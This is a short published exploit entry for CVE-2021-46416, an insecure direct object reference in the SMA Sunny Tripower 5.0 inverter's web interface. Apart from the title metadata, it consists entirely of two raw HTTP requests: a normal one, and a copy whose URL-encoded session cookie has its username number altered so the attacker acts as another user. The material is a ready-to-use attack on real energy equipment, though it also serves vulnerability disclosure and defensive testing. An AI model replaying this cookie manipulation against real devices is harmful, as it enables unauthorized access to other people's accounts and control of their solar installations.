# Exploit Title: SAM SUNNY TRIPOWER 5.0 - Insecure Direct Object Reference (IDOR) # Date: 7/4/2022 # Exploit Author: Momen Eldawakhly (Cyber Guy) # Vendor Homepage: https://www.sma.de # Version: SUNNY TRIPOWER 5.0 Firmware version 3.10.16.R # Tested on: Linux [Firefox] # CVE : CVE-2021-46416 # Proof of Concept ============[ Normal user request ]============ GET / HTTP/1.1 Host: 192.168.1.4 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A861%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D Upgrade-Insecure-Requests: 1 ============[ Manipulated username request ]============ GET / HTTP/1.1 Host: 192.168.1.4 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: tmhDynamicLocale.locale=%22en-us%22; user443=%7B%22role%22%3A%7B%22bitMask%22%3A2%2C%22title%22%3A%22usr%22%2C%22loginLevel%22%3A2%7D%2C%22username%22%3A850%2C%22sid%22%3A%22CDQMoPK0y6Q0-NaD%22%7D Upgrade-Insecure-Requests: 1